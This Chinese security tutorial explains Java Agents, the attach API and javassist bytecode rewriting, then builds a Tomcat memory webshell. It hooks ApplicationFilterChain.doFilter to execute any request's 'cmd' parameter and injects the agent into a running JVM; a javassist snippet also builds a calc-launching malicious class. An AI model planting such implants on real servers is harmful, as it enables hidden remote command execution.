java agent 学习

admin 2025年7月2日10:32:15评论15 views字数 14320阅读47分44秒阅读模式
本文由掌控安全学院 - yusi 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

Java Agent 介绍

Java Agent 是一种特殊的 Java 程序,它能够在运行时修改或监视其他 Java 程序的行为。Java Agent 通过使用 Java Instrumentation API 实现,可以在 Java 应用程序的生命周期中,动态地对字节码进行插桩(Instrumentation)或修改,从而影响或增强应用程序的行为。Java Agent 主要用于 字节码增强监控性能分析调试 等场景。

Java Agent 有两种运行模式:

启动Java程序时添加 -javaagent (Instrumentation API实现方式) 或 -agentpath/-agentlib (JVMTI的实现方式) 参数,如 java -javaagent:/data/XXX.jar LingXeTest

JDK1.6新增了attach(附加方式)方式,可以对运行中的Java进程附加Agent

其实简单来说就是一种在 JVM 启动前加载的 premain-Agent,另一种是 JVM 启动之后加载的 agentmain-Agent,不过无论是哪种 agent 都需要将其打包为 jar 包才能使用,同时还强制要求了所有的jar文件中必须包含 /META-INF/MANIFEST.MF 文件,且该文件中必须定义好Premain-Class(Agent模式)或Agent-Class(Agent模式)配置。

premain-Agent

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

我们首先来实现一个简单的 premain-Agent,创建一个 Maven 项目,编写一个简单的 premain-Agent,创建的类需要实现 premain 方法,

import java.lang.instrument.Instrumentation;public class permain_agent {    public static void premain(String args, Instrumentation inst) {            System.out.println("调用了premain-Agent");    }}


接着创建 MANIFEST.MF 清单文件用以指定 premain-Agent 的启动类,

Manifest-Version: 1.0  Premain-Class: permain_agent


接着需要将其打包为 jar 包,可以使用 assembly 插件来打包,先添加 pom.xml 配置,

<build>    <plugins>        <plugin>            <groupId>org.apache.maven.plugins</groupId>            <artifactId>maven-assembly-plugin</artifactId>            <version>2.6</version>            <configuration>                <descriptorRefs>                    <descriptorRef>jar-with-dependencies</descriptorRef>                </descriptorRefs>                <archive>                    <manifestFile>                        src/main/resources/META-INF/MANIFEST.MF                    </manifestFile>                </archive>            </configuration>        </plugin>        <plugin>            <groupId>org.apache.maven.plugins</groupId>            <artifactId>maven-compiler-plugin</artifactId>            <configuration>                <source>6</source>                <target>6</target>            </configuration>        </plugin>    </plugins></build>


然后运行 mvn:assembly 命令

java agent 学习

第二个就是我们需要的 permain_agent 的 jar 包。然后再创建一个目标类

public class hello {      public static void main(String[] args) {          System.out.println("Hello World!");      }  }


目标类的编译同样可以用上面方法,修改 MANIFEST.MF 清单文件

Manifest-Version: 1.0  Main-Class: hello


当然也可以直接用 idea 进行打包,最后执行

java -javaagent:agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar -jar agenttest.jar


看到再 main 函数前调用了 permain 函数。

java agent 学习

agentmain-Agent

相较于 premain-Agent 只能在 JVM 启动前加载,agentmain-Agent 能够在 JVM 启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和 JVM 有关的两个类。

VirtualMachine 类

VirtualMachine 类是 Java 虚拟机工具接口(Java Virtual Machine Tool Interface,简称 JVM TI)的一部分,属于 Java 平台的一种机制,用于与正在运行的 JVM 进行交互、控制和分析。VirtualMachine 类本身并不是直接从 JVM 或 Java API 中可见的类,而是一个在 JVM 调试工具(如 jcmd、jconsole、jvisualvm)或开发工具(如某些代理和诊断工具)中用于交互的接口

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上VirtualMachine.attach()//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理VirtualMachine.loadAgent()//获得当前所有的JVM列表VirtualMachine.list()//解除与特定JVM的连接VirtualMachine.detach()


VirtualMachineDescriptor 类

VirtualMachineDescriptor 是 Java 中用于表示正在运行的 Java 虚拟机(JVM)实例的类。它属于 com.sun.tools.attach 包的一部分,通常与 VirtualMachine 类一起使用。VirtualMachineDescriptor 类提供了有关虚拟机的信息,比如进程 ID (PID)、JVM 的启动类名、是否为附加到的 JVM 等。

demo,

import com.sun.tools.attach.VirtualMachine;  import com.sun.tools.attach.VirtualMachineDescriptor;  import java.util.List;  public class test {      public static void main(String[] args) {          //调用VirtualMachine.list()获取正在运行的JVM列表          List<VirtualMachineDescriptor> list = VirtualMachine.list();          for(VirtualMachineDescriptor vmd : list){              if(vmd.displayName().equals("test"))                  System.out.println(vmd.id());          }      }  }


运行结果得到进程 id

java agent 学习

下面我们就来实现一个 agentmain-Agent。首先我们编写一个 hello 类,模拟正在运行的 JVM

import static java.lang.Thread.sleep;  public class hello {      public static void main(String[] args) throws InterruptedException {          while (true){              System.out.println("Hello World!");              sleep(5000);          }      }  }


然后编写我们的 agentmain 类

import java.lang.instrument.Instrumentation;  import static java.lang.Thread.sleep;  public class agentmain {      public static void agentmain(String args, Instrumentation inst) throws InterruptedException {          while (true){              System.out.println("调用了agentmain-Agent!");              sleep(3000);          }      }  }


配置 MANIFEST.MF 清单文件,

Manifest-Version: 1.0Agent-Class: agentmain


然后打包为 jar 包,同样用上面的方法进行打包,最后准备一个注入 Inject 类,将我们的 agent-main 注入目标 JVM:

import com.sun.tools.attach.*;  import java.io.IOException;  import java.util.List;  public class inject{      public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {          List<VirtualMachineDescriptor> list = VirtualMachine.list();          for(VirtualMachineDescriptor vmd : list){              if(vmd.displayName().equals("hello")){                  //连接指定JVM                  VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());                  //加载Agent                  virtualMachine.loadAgent("D:\JavaLearn\Agent\agenttest\target\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");                  //断开JVM连接                  virtualMachine.detach();              }          }      }  }


运行结果看到注入成功,

java agent 学习

Instrumentation

Instrumentation(字节码插桩)是指在 Java 程序运行时,通过动态修改类的字节码来改变程序的行为。Java 提供了一个名为 Instrumentation API 的工具,允许开发者对类进行动态修改或监控。通过 Instrumentation API,开发者可以在应用程序运行时插入代码、修改类的字节码、重新定义类的行为,甚至动态加载新的类。我们可以利用Instrumentation实现如下功能:

  1. 1. 动态添加或移除自定义的ClassFileTransformer(addTransformer/removeTransformer),JVM会在类加载时调用Agent中注册的ClassFileTransformer;
  2. 2. 动态修改classpath(appendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch),将Agent程序添加到BootstrapClassLoader和SystemClassLoaderSearch(对应的是ClassLoader类的getSystemClassLoader方法,默认是sun.misc.Launcher$AppClassLoader)中搜索;
  3. 3. 动态获取所有JVM已加载的类(getAllLoadedClasses);
  4. 4. 动态获取某个类加载器已实例化的所有类(getInitiatedClasses)。
  5. 5. 重定义某个已加载的类的字节码(redefineClasses)。
  6. 6. 动态设置JNI前缀(setNativeMethodPrefix),可以实现Hook native方法。
  7. 7. 重新加载某个已经被JVM加载过的类字节码(retransformClasses)。

而说到修改字节码又不得不说 javassist 了,这里简单介绍一下 javassist。

javassist

Javassist(Java Programming Assistant)是一个开源的 Java 字节码编辑库。它使得开发者能够在运行时或编译时修改 Java 字节码,主要用于动态生成、修改和操控 Java 类。Javassist 通过字节码操作来实现比传统的反射机制更高效、更灵活的动态类加载和操作。

ClassPool

ClassPool 是 CtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用,则它将搜索表示的各种源 ClassPath 以查找类文件,然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass 对象的容器。

CtClass

可以将其理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以 ClassPool.get(ClassName) 中获取。

CtMethod

同理,可以理解成加强版的 Method 对象。可通过 CtClass.getDeclaredMethod(MethodName) 获取,该类提供了一些方法以便我们能够直接修改方法体

在 CC2 中就使用了 javassist 来神生成恶意类,而且在反序列化时使用 javassist 来生成恶意类可以减少字符串长度。

demo,

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("shell");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的shell类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");  byte[] code = payload.toBytecode();


由于是直接神成的 class 字节码不用编译所以可以不用实现父类 AbstractTranslet 的 transform 方法。

ClassFileTransformer

java.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口。我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

package java.lang.instrument;public interface ClassFileTransformer {  /**     * 类文件转换方法,重写transform方法可获取到待加载的类相关信息     *     * @param loader              定义要转换的类加载器;如果是引导加载器,则为 null     * @param className           类名,如:java/lang/Runtime     * @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null     * @param protectionDomain    要定义或重定义的类的保护域     * @param classfileBuffer     类文件格式的输入字节缓冲区(不得修改)     * @return 字节码byte数组。     */    byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                            ProtectionDomain protectionDomain, byte[] classfileBuffer);}


重写 transform() 方法需要注意以下事项:

  1. 1. ClassLoader 如果是被 Bootstrap ClassLoader (引导类加载器)所加载那么 loader 参数的值是空。
  2. 2. 修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到,否则会报 ClassNotFoundException ,比如修改 java.io.FileInputStream (该类由 Bootstrap ClassLoader 加载)时插入了我们检测代码,那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。
  3. 3. JVM类名的书写方式路径方式:java/lang/String 而不是我们常用的类名方式:java.lang.String。
  4. 4. 类字节必须符合 JVM 校验要求,如果无法验证类字节码会导致 JVM 崩溃或者 VerifyError (类验证错误)。
  5. 5. 如果修改的是 retransform 类(修改已被 JVM 加载的类),修改后的类字节码不得新增方法、修改方法参数、类成员变量。
  6. 6. addTransformer 时如果没有传入 retransform 参数(默认是 false ),就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true 而且手动调用了retransformClasses()方法也一样无法retransform。
  7. 7. 卸载 transform 时需要使用创建时的 Instrumentation 实例。

还需要理解的是,在以下三种情形下 ClassFileTransformer.transform() 会被执行:

  1. 1. 新的 class 被加载。
  2. 2. Instrumentation.redefineClasses 显式调用。
  3. 3. addTransformer 第二个参数为 true 时,Instrumentation.retransformClasses 显式调用。

获取目标 JVM 已加载类

下面我们简单实现一个能够获取目标 JVM 已加载类的 agentmain-Agent

Main 方法

public class hello {      public static void main(String[] args) throws InterruptedException {          while(true) {              hello();              sleep(3000);          }      }      public static void hello(){          System.out.println("Hello World!");      }  }


Agent 主类

public class agentmain_transform {      public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {          Class [] classes = inst.getAllLoadedClasses();          //获取目标JVM加载的全部类          for(Class cls : classes){              if (cls.getName().equals("hello")){                  inst.addTransformer(new Hello_Transform(),true);                  inst.retransformClasses(cls);              }          }      }  }


Transformer 修改类

public class Hello_Transform implements ClassFileTransformer {      @Override      public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){          try {              //获取CtClass 对象的容器 ClassPool                        ClassPool classPool = ClassPool.getDefault();              //添加额外的类搜索路径              if (classBeingRedefined != null) {                  ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                  classPool.insertClassPath(ccp);              }              //获取目标类              CtClass ctClass = classPool.get("hello");              System.out.println(ctClass);              //获取目标方法              CtMethod ctMethod = ctClass.getDeclaredMethod("hello");              //设置方法体              String body = "{System.out.println("Hacker!");}";              ctMethod.setBody(body);              //返回目标类字节码              byte[] bytes = ctClass.toBytecode();              return bytes;          }catch (Exception e){              e.printStackTrace();          }          return null;      }  }


接着同样打包为 jar 包,修改 MAINFEST.MF 文件,

Manifest-Version: 1.0  Agent-Class: agentmainCan-Redefine-Classes: true  Can-Retransform-Classes: true


Can-Redefine-Classes: true:这个选项表示代理是否能够重新定义现有的类。具体来说,这意味着代理可以通过Instrumentation API 来替换已经加载的类的字节码。

Can-Retransform-Classes: true:这个选项表示代理是否能够重新转化现有的类。重新转化是指代理能够使用Instrumentation API 来再次转换或修改已经加载的类的字节码,而不需要重新定义该类。

然后同样写个 inject 类,

import com.sun.tools.attach.*;  import java.io.IOException;  import java.util.List;  public class inject {      public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {          //调用VirtualMachine.list()获取正在运行的JVM列表          List<VirtualMachineDescriptor> list = VirtualMachine.list();          for(VirtualMachineDescriptor vmd : list){              System.out.println(vmd.displayName());              //遍历每一个正在运行的JVM,如果JVM名称为hello则连接该JVM并加载特定Agent              if(vmd.displayName().equals("hello")){                  //连接指定JVM                  VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());                  //加载Agent                  virtualMachine.loadAgent("D:\JavaLearn\Agent\agenttest\target\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");                  //断开JVM连接                  virtualMachine.detach();              }          }      }  }


运行结果看到执行注入后开始输出 hacker。

java agent 学习

Java Agent 内存马

通过上文对Java agent的了解,我们需要将特定类的特定方法中添加恶意代码,那么寻找这个关键的类就是我们面临的第一个问题。

在我们访问资源的时候会调用过滤器链中的过滤器,当用户的请求到达Servlet之前,一定会首先经过过滤器。它们都是在ApplicationFilterChain类里,它的dofilter方法

java agent 学习

封装了我们用户请求的 request 和 response,用此方法作为内存马的入口,可以完全控制请求和响应

构造恶意Agent

们需要修改 ApplicationFilterChain 的 doFilter 方法,修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可

public class Filter_Transform implements ClassFileTransformer {      @Override      public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {          try {              //获取CtClass 对象的容器 ClassPool                        ClassPool classPool = ClassPool.getDefault();              //添加额外的类搜索路径              if (classBeingRedefined != null) {                  ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                  classPool.insertClassPath(ccp);              }              //获取目标类              CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");              //获取目标方法              CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");              //设置方法体              String body = "{" +                      "javax.servlet.http.HttpServletRequest request = $1n;" +                      "String cmd=request.getParameter("cmd");n" +                      "if (cmd !=null){n" +                      "  Runtime.getRuntime().exec(cmd);n" +                      "  }"+                      "}";              ctMethod.setBody(body);              //返回目标类字节码              byte[] bytes = ctClass.toBytecode();              return bytes;          }catch (Exception e){              e.printStackTrace();          }          return null;      }  }


再准备 MAINFEST.MF 配置,以及 agent 主类代码如下:

public class agentmain_transform {      public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {          Class [] classes = inst.getAllLoadedClasses();          //获取目标JVM加载的全部类          for(Class cls : classes){              if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){                  //添加一个transformer到Instrumentation,并重新触发目标类加载                  inst.addTransformer(new Filter_Transform(),true);                  inst.retransformClasses(cls);              }          }      }  }


MAINFEST.MF

Manifest-Version: 1.0  Agent-Class: agentmain_transformCan-Redefine-Classes: true  Can-Retransform-Classes: true


然后打包为 jar 包,最后准备 inject 类,

import com.sun.tools.attach.*;  import java.io.IOException;  import java.util.List;  public class inject {      public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {          //调用VirtualMachine.list()获取正在运行的JVM列表          List<VirtualMachineDescriptor> list = VirtualMachine.list();          for(VirtualMachineDescriptor vmd : list){              System.out.println(vmd.displayName());              //遍历每一个正在运行的JVM,如果JVM名称为SpringshellApplication则连接该JVM并加载特定Agent              if(vmd.displayName().contains("SpringshellApplication")){                  //连接指定JVM                  VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());                  //加载Agent                  virtualMachine.loadAgent("D:\JavaLearn\Agent\agenttest\target\agenttest-1.0-SNAPSHOT-jar-with-dependencies.jar");                  //断开JVM连接                  virtualMachine.detach();              }          }      }  }


成功弹出计算机

java agent 学习

参考:https://www.freebuf.com/articles/web/376733.html

参考:https://drun1baby.top/2023/12/07/Java-Agent-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

参考:https://lotabout.me/2024/Java-Agent-101/

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

java agent 学习

 

原文始发于微信公众号(掌控安全EDU):java agent 学习

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月2日10:32:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java agent 学习https://cn-sec.com/archives/4215589.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息